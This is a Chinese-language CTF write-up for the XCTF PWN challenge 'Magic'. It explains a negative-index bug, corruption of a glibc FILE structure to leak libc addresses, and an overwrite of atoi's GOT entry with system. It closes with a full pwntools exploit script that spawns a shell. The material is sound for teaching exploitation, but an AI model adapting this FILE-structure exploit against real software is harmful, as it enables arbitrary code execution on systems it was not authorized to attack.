攻防世界PWN之Magic题解

Magic

本题知识点,FILE结构体的攻击

首先,检查一下程序的保护机制,发现PIE和RELRO没有开启,或许我们可以很方便的修改GOT表

攻防世界PWN之Magic题解

然后,我们用IDA分析一下,发现wizard_spell函数存在数组下标向负数越界的漏洞

攻防世界PWN之Magic题解

然后是create函数

攻防世界PWN之Magic题解

然后,我们用IDA调试一下,发现wizards[-2]处就是log_file的地址,而这句可以修改FILE结构体的第40字节处的数据。

攻防世界PWN之Magic题解

让我们先来看看log_file的结构体内容

攻防世界PWN之Magic题解

偏移40字节处是_IO_write_ptr,而_IO_write_ptr是缓冲区的地址,下一次写数据时,如果_IO_write_ptr_IO_write_end不相等,那么就会往_IO_write_ptr指向的区域写数据,而程序正好能够修改这里的内容,那么,我们把它修改,让它指向log_file结构体本身,那么我们就能修改整个log_file结构体,修改_IO_read_ptr和_IO_read_end,这样read时,就能泄露地址信息,然后将_IO_write_ptr指向目标地址,写目标地址,比如修改got表。

显然,当前_IO_write_ptr为0,缓冲区还未初始化,因此,我们需要先调用create来初始化一下

  1. #这两步是为了初始化FILE的结构体  
  2. create()  
  3. WizardSpell(0,'seaase')  

然后,我们再看一下结构体中的内容

攻防世界PWN之Magic题解

我们看到,缓冲区已经初始化了,现在我们就要开始攻击了

  1. #修改log_file结构体的_IO_write_ptr  
  2. for i in range(8):  
  3.    #_IO_write_ptr = _IO_write_ptr + 1 - 50  
  4.    WizardSpell(-2,'\x00')  
  5.   
  6. #在不影响log_file结构体的情况下,我们抬升_IO_write_ptr 13个字节,然后再-=50  
  7. WizardSpell(-2,'\x00'*13)  
  8.   
  9. for i in range(3):  
  10.    #_IO_write_ptr = _IO_write_ptr + 1 - 50  
  11.    WizardSpell(-2,'\x00')  
  12.   
  13. #在不影响log_file结构体的情况下,我们抬升_IO_write_ptr 9个字节,然后再-=50  
  14. WizardSpell(-2,'\x00'*9)  
  15. WizardSpell(-2,'\x00')  

在修改时,要注意不要破坏其他地方的数据,因此,上述的各个内容,都是在调试后确定的。比如,我们每调用一次WizardSpell(-2,'\x00')_IO_write_ptr = _IO_write_ptr + 1 – 50,而WizardSpell(-2,'\x00'*13)_IO_write_ptr = _IO_write_ptr + 13 – 50也就是说,内容的长度可以抬高_IO_write_ptr

Glibc中的源码是这样的

攻防世界PWN之Magic题解

经过上面的操作,现在_IO_write_ptr就指向了log_file的结构体附近处,我们就可以改写log_file的结构体了。为了泄露地址信息,我们需要改写_IO_read_ptr _IO_read_end

  1. #现在,_IO_write_base指向了log_file的结构体附近处,我们可以修改log_file的结构体了  
  2. payload = '\x00' * 3 + p64(0x231)  
  3. #flags  
  4. payload += p64(0xFBAD24A8)  
  5. WizardSpell(0,payload)  
  6. #_IO_read_ptr  _IO_read_end  
  7. payload = p64(atoi_got) + p64(atoi_got+0x100)  
  8. WizardSpell(0,payload)  
  9. atoi_addr = u64(sh.recv(8))  
  10. print hex(atoi_addr)  
  11.   
  12. libc = LibcSearcher('atoi',atoi_addr)  
  13. libc_base = atoi_addr - libc.dump('atoi')  
  14. system_addr = libc_base + libc.dump('system')  

请注意红色部分,我们用的是WizardSpell(0,payload)而不是WizardSpell(-2,payload),这是因为WizardSpell(-2,payload)会使得_IO_write_ptr – 50,这样,_IO_write_ptr就会指向上面的不可写的段,使得我们不能第二次利用。而WizardSpell(0,payload) 只会把_IO_write_ptr+= len(payload),而不会让_IO_write_ptr再减去50.因为被减50的是结构体0对应的第40个字节处的数据。

攻防世界PWN之Magic题解

现在,我们得到了需要的地址信息,我们要开始攻击atoi的GOT表了,我们想把_IO_write_ptr指向atoi的GOT表,于是,我们尝试这样修改结构体

  1. payload = p64(atoi_got) * 3 + p64(atoi_got + 8)  
  2. WizardSpell(0,payload)  

然后,我们看看结FILE构体的内容

攻防世界PWN之Magic题解

发现,除了_IO_write_ptr没有成功修改,其他都改了。这是怎么回事?

我们用IDA跟踪fwrite函数,发现程序最终会调用_IO_new_file_xsputn函数,然后,我们跟进_IO_new_file_xsputn函数,发现,这一句代码改变了_IO_write_ptr的值

攻防世界PWN之Magic题解

对应的汇编代码

攻防世界PWN之Magic题解

然后,我们去看看libc的源码,对照一下,发现

攻防世界PWN之Magic题解

经过调试,发现图中的loc_7FA3926C73B0就是__memcpy,它返回值rax为复制后的结尾指针,比如,p=xxx,那么__memcpy(p,s,count)就是返回的p + count,因此, _IO_write_ptr再一次被覆盖,变回了原来的正常情况地址。

由此,我们不能通过fwrite来对_IO_write_ptr做修改,我们应该借助fread来修_IO_write_ptr。我总结了一下,如果是read操作,我们可以修改write相关的指针,如果是write操作,我们可以修改read相关指针。

由于程序在fwrite后接着就调用fread,所以,我们利用fread来修改_IO_write_ptr

攻防世界PWN之Magic题解

我们还是来分析一下fread的源码,经过跟踪,发现fread最终会调用_IO_new_file_underflow函数,然后,我们分析一下_IO_new_file_underflow函数

  1. int  
  2. _IO_new_file_underflow (_IO_FILE *fp)  
  3. {  
  4.   _IO_ssize_t count;  
  5. #if 0  
  6.   /* SysV does not make this test; take it out for compatibility */  
  7.   if (fp->_flags & _IO_EOF_SEEN)  
  8.     return (EOF);  
  9. #endif  
  10.   
  11.   if (fp->_flags & _IO_NO_READS)  
  12.     {  
  13.       fp->_flags |= _IO_ERR_SEEN;  
  14.       __set_errno (EBADF);  
  15.       return EOF;  
  16.     }  
  17.   if (fp->_IO_read_ptr < fp->_IO_read_end)  
  18.     return *(unsigned char *) fp->_IO_read_ptr;  
  19.   
  20.   if (fp->_IO_buf_base == NULL)  
  21.     {  
  22.       /* Maybe we already have a push back pointer.  */  
  23.       if (fp->_IO_save_base != NULL)  
  24.     {  
  25.       free (fp->_IO_save_base);  
  26.       fp->_flags &= ~_IO_IN_BACKUP;  
  27.     }  
  28.       _IO_doallocbuf (fp);  
  29.     }  
  30.   
  31.   /* Flush all line buffered files before reading. */  
  32.   /* FIXME This can/should be moved to genops ?? */  
  33.   if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))  
  34.     {  
  35. #if 0  
  36.       _IO_flush_all_linebuffered ();  
  37. #else  
  38.       /* We used to flush all line-buffered stream.  This really isn't 
  39.      required by any standard.  My recollection is that 
  40.      traditional Unix systems did this for stdout.  stderr better 
  41.      not be line buffered.  So we do just that here 
  42.      explicitly.  --drepper */  
  43.       _IO_acquire_lock (_IO_stdout);  
  44.   
  45.       if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))  
  46.       == (_IO_LINKED | _IO_LINE_BUF))  
  47.     _IO_OVERFLOW (_IO_stdout, EOF);  
  48.   
  49.       _IO_release_lock (_IO_stdout);  
  50. #endif  
  51.     }  
  52.   
  53.   _IO_switch_to_get_mode (fp);  
  54.   
  55.   /* This is very tricky. We have to adjust those 
  56.      pointers before we call _IO_SYSREAD () since 
  57.      we may longjump () out while waiting for 
  58.      input. Those pointers may be screwed up. H.J. */  
  59.   fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;  
  60.   fp->_IO_read_end = fp->_IO_buf_base;  
  61.   fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end  
  62.     = fp->_IO_buf_base;  
  63.   
  64.   count = _IO_SYSREAD (fp, fp->_IO_buf_base,  
  65.                fp->_IO_buf_end - fp->_IO_buf_base);  
  66.   if (count <= 0)  
  67.     {  
  68.       if (count == 0)  
  69.     fp->_flags |= _IO_EOF_SEEN;  
  70.       else  
  71.     fp->_flags |= _IO_ERR_SEEN, count = 0;  
  72.   }  
  73.   fp->_IO_read_end += count;  
  74.   if (count == 0)  
  75.     {  
  76.       /* If a stream is read to EOF, the calling application may switch active 
  77.      handles.  As a result, our offset cache would no longer be valid, so 
  78.      unset it.  */  
  79.       fp->_offset = _IO_pos_BAD;  
  80.       return EOF;  
  81.     }  
  82.   if (fp->_offset != _IO_pos_BAD)  
  83.     _IO_pos_adjust (fp->_offset, count);  
  84.   return *(unsigned char *) fp->_IO_read_ptr;  
  85. }  

首先,上面17、18行我们看到,如果fp->_IO_read_ptr小于fp->_IO_read_end,就会直接返回,因此,我们fwrite时,应该伪造fp->_IO_read_ptrfp->_IO_read_end,使得条件不满足,继续向下执行,就会来到596061行,这里有对fp->_IO_write_ptr赋值,并且其值为_IO_buf_base,因此,在fwrite时,还应该伪造_IO_buf_base为我们攻击的目标地址。

为了能覆盖到_IO_buf_base,首先,我们需要保证_IO_write_ptr小于_IO_write_end,因此,我们,因此,我们让_IO_write_end比_IO_write_ptr大一些,至于大多少,反正要保证_IO_buf_base的地址坐落在[_IO_write_ptr, _IO_write_end],因此,我们随便选一个,我这里选的是0x100。当然,我们需要知道_IO_write_ptr的值,由此,我们还需要泄露FILE结构体本身的地址

  1. #回到之前的位置  
  2. WizardSpell(-2, p64(0) + p64(0))  
  3. #重新写  
  4. WizardSpell(0, '\x00' * 2 + p64(0x231) + p64(0xfbad24a8))  
  5. #当执行fread后,要求_IO_read_ptr大于等于_IO_read_end,经过调试,发现输出以后,发现0x50正好  
  6. WizardSpell(0, p64(log_addr) + p64(log_addr + 0x50) + p64(log_addr))  
  7. #泄露log_file结构体的地址  
  8. heap_addr = u64(sh.recvn(8)) - 0x10  
  9. print 'heap addr:',hex(heap_addr)  

注意,上面,我们WizardSpell(-2, p64(0) + p64(0))而不是WizardSpell(0, p64(0) + p64(0)),这是因为,用-2,使得_IO_write_ptr重新回到前面,这样,我们又可以覆盖_IO_read_ptr和_IO_read_end,并且,我们设置_IO_read_ptr = log_addr , _IO_read_end = log_addr + 0x50,这个0x50可以不用精确,只需要保证,经过二轮fread后,_IO_read_ptr大于等于_IO_read_end,这样,第三轮fread时,就可以修改_IO_write_ptr

第一轮,我们覆盖了_IO_read_ptr和_IO_read_end,用于泄露结构体本身的地址

第二轮,我们要修改_IO_write_end

  1. #修改_IO_write_end  
  2. WizardSpell(0,p64(heap_addr + 0x100)*3)  

第三轮,现在_IO_read_ptr大于等于_IO_read_end,并且_IO_write_ptr指向了_IO_buf_base,那么,我们覆盖_IO_buf_base和_IO_buf_end

  1. #覆盖_IO_buf_base_IO_buf_end  
  2. #然后程序中执行fread就会修改_IO_write_ptr_IO_buf_base  
  3. WizardSpell(0,p64(atoi_got+0x78 + 23) + p64(atoi_got + 0xA00))  

这里,我们不直接覆盖为atoi_got,而是向下偏移一些,是因为fread时

攻防世界PWN之Magic题解

所有指针都设置为_IO_buf_base的值,使得_IO_write_end - _IO_write_ptr == 0,不满足_IO_write_ptr小于等于_IO_write_end,fwrite时,就不会写入数据。而我们向下偏移一些地址,然后我们用WizardSpell(-2,’\x00’)操作,可以让_IO_write_ptr -= 49

现在,我们就操作一下,让_IO_write_ptr指向atoi的GOT

  1. #  
  2. WizardSpell(-2,'\x00')  
  3. WizardSpell(-2,'\x00'*3)  
  4. WizardSpell(-2,'\x00'*3)  

注意,每次操作,_IO_write_ptr指向了新地方,如果这个地方的数据是有用的,不要破坏它,因此’\x00’’\x00’*3这些都是我调试后确定的,具体也可以动手调试看看。

现在,_IO_write_ptr指向了atoi的GOT-1处,我们就可以修改atoi的GOT为system地址,拿shell

  1. payload = '\x00' + p64(system_addr)  
  2. WizardSpell(0,payload)  
  3. #getshell  
  4. sh.sendlineafter('choice>> ','sh')  

综上,我们的exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3. from LibcSearcher import *  
  4.   
  5. sh = process('./pwnh36')  
  6. #sh = remote('111.198.29.45',41210)  
  7. elf = ELF('./pwnh36')  
  8. atoi_got = elf.got['atoi']  
  9. log_addr = elf.symbols['log_file']  
  10.   
  11. def create():  
  12.    sh.sendlineafter('choice>> ','1')  
  13.    sh.sendlineafter("Give me the wizard's name:","seaase")  
  14.   
  15. def WizardSpell(index,content):  
  16.    sh.sendlineafter('choice>> ','2')  
  17.    sh.sendlineafter('Who will spell:',str(index))  
  18.    sh.sendafter('Spell name:',content)  
  19.   
  20. #这两步是为了初始化FILE的结构体  
  21. create()  
  22. WizardSpell(0,'seaase')  
  23. #修改log_file结构体的_IO_write_base  
  24. for i in range(8):  
  25.    #_IO_write_base = _IO_write_base + 1 - 50  
  26.    WizardSpell(-2,'\x00')  
  27.   
  28. #在不影响log_file结构体的情况下,我们抬升_IO_write_base 13个字节,然后再-=50  
  29. WizardSpell(-2,'\x00'*13)  
  30.   
  31. for i in range(3):  
  32.    #_IO_write_base = _IO_write_base + 1 - 50  
  33.    WizardSpell(-2,'\x00')  
  34.   
  35. #在不影响log_file结构体的情况下,我们抬升_IO_write_base 9个字节,然后再-=50  
  36. WizardSpell(-2,'\x00'*9)  
  37. WizardSpell(-2,'\x00')  
  38.   
  39. #现在,_IO_write_base指向了log_file的结构体附近处,我们可以修改log_file的结构体了  
  40. payload = '\x00' * 3 + p64(0x231)  
  41. #flags  
  42. payload += p64(0xFBAD24A8)  
  43. WizardSpell(0,payload)  
  44. #_IO_read_ptr  _IO_read_end  
  45. payload = p64(atoi_got) + p64(atoi_got+0x100)  
  46. WizardSpell(0,payload)  
  47. atoi_addr = u64(sh.recv(8))  
  48. print hex(atoi_addr)  
  49.   
  50. libc = LibcSearcher('atoi',atoi_addr)  
  51. libc_base = atoi_addr - libc.dump('atoi')  
  52. system_addr = libc_base + libc.dump('system')  
  53.   
  54. #回到之前的位置  
  55. WizardSpell(-2, p64(0) + p64(0))  
  56. #重新写  
  57. WizardSpell(0, '\x00' * 2 + p64(0x231) + p64(0xfbad24a8))  
  58. #需要_IO_read_ptr大于等于_IO_read_end,经过调试,发现输出以后,发现0x50正好  
  59. WizardSpell(0, p64(log_addr) + p64(log_addr + 0x50) + p64(log_addr))  
  60. #泄露log_file结构体的地址  
  61. heap_addr = u64(sh.recvn(8)) - 0x10  
  62. print 'heap addr:',hex(heap_addr)  
  63.   
  64. WizardSpell(0,p64(heap_addr + 0x100)*3)  
  65. #覆盖_IO_buf_base_IO_buf_end  
  66. #然后程序中执行fread就会修改_IO_write_ptr_IO_buf_base  
  67. WizardSpell(0,p64(atoi_got+0x78 + 23) + p64(atoi_got + 0xA00))  
  68.   
  69. #  
  70. WizardSpell(-2,'\x00')  
  71. WizardSpell(-2,'\x00'*3)  
  72. WizardSpell(-2,'\x00'*3)  
  73.   
  74. payload = '\x00' + p64(system_addr)  
  75. WizardSpell(0,payload)  
  76. #getshell  
  77. sh.sendlineafter('choice>> ','sh')  
  78.   
  79. sh.interactive()